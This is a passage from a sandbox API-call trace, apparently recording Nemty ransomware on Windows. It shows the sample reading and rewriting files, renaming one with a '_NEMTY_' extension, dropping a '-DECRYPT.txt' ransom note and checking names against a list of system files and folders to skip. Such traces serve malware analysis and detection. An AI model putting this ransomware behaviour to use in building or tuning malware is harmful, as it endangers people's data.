nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.849] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.849] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.849] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.858] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.858] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.867] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.867] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.867] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.877] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.893] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0109.899] CloseHandle (hObject=0xffffffff) returned 0 [0109.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0109.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0109.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0109.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0109.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\icon.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\icon.png._nemty_kgobjgd_")) returned 0 [0109.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0109.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0109.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0109.899] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0109.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0109.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0109.900] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="images", cAlternateFileName="")) returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2=".") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="..") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="...") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="windows") returned -1 [0109.900] lstrcmpiW (lpString1="images", lpString2="$RECYCLE.BIN") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="rsa") returned -1 [0109.900] lstrcmpiW (lpString1="images", lpString2="NTDETECT.COM") returned -1 [0109.900] lstrcmpiW (lpString1="images", lpString2="ntldr") returned -1 [0109.900] lstrcmpiW (lpString1="images", lpString2="MSDOS.SYS") returned -1 [0109.900] lstrcmpiW (lpString1="images", lpString2="IO.SYS") returned -1 [0109.900] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="boot.ini") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="AUTOEXEC.BAT") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="ntuser.dat") returned -1 [0109.900] lstrcmpiW (lpString1="images", lpString2="desktop.ini") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="CONFIG.SYS") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="RECYCLER") returned -1 [0109.900] lstrcmpiW (lpString1="images", lpString2="BOOTSECT.BAK") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="bootmgr") returned 1 [0109.900] lstrcmpiW (lpString1="images", lpString2="programdata") returned -1 [0109.900] lstrcmpiW (lpString1="images", lpString2="appdata") returned 1 [0109.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0109.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0109.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0109.900] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="images", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="images", lpUsedDefaultChar=0x0) returned 6 [0109.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0109.900] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0109.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.900] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0109.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0109.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.901] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0109.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.901] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0109.901] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0109.901] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0109.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0109.903] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.903] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0109.904] CloseHandle (hObject=0x1ec) returned 1 [0109.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0109.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0109.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0109.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0109.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0109.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0109.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0109.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0109.907] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0109.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0109.907] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.907] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0109.908] CloseHandle (hObject=0x1ec) returned 1 [0109.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0109.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0109.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf526fb90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf526fb90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0109.909] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0109.909] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf526fb90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf526fb90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.909] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0109.909] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0109.909] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2=".") returned 1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="..") returned 1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="...") returned 1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="windows") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="$RECYCLE.BIN") returned 1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="rsa") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="NTDETECT.COM") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="ntldr") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="MSDOS.SYS") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="IO.SYS") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="boot.ini") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="boot.ini") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="AUTOEXEC.BAT") returned 1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="ntuser.dat") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="desktop.ini") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="CONFIG.SYS") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="RECYCLER") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="BOOTSECT.BAK") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="bootmgr") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="programdata") returned -1 [0109.909] lstrcmpiW (lpString1="bg-desk.png", lpString2="appdata") returned 1 [0109.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-desk.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0109.909] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-desk.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-desk.png", lpUsedDefaultChar=0x0) returned 11 [0109.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-desk.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0109.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-desk.png", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-desk.png", lpUsedDefaultChar=0x0) returned 11 [0109.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-desk.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 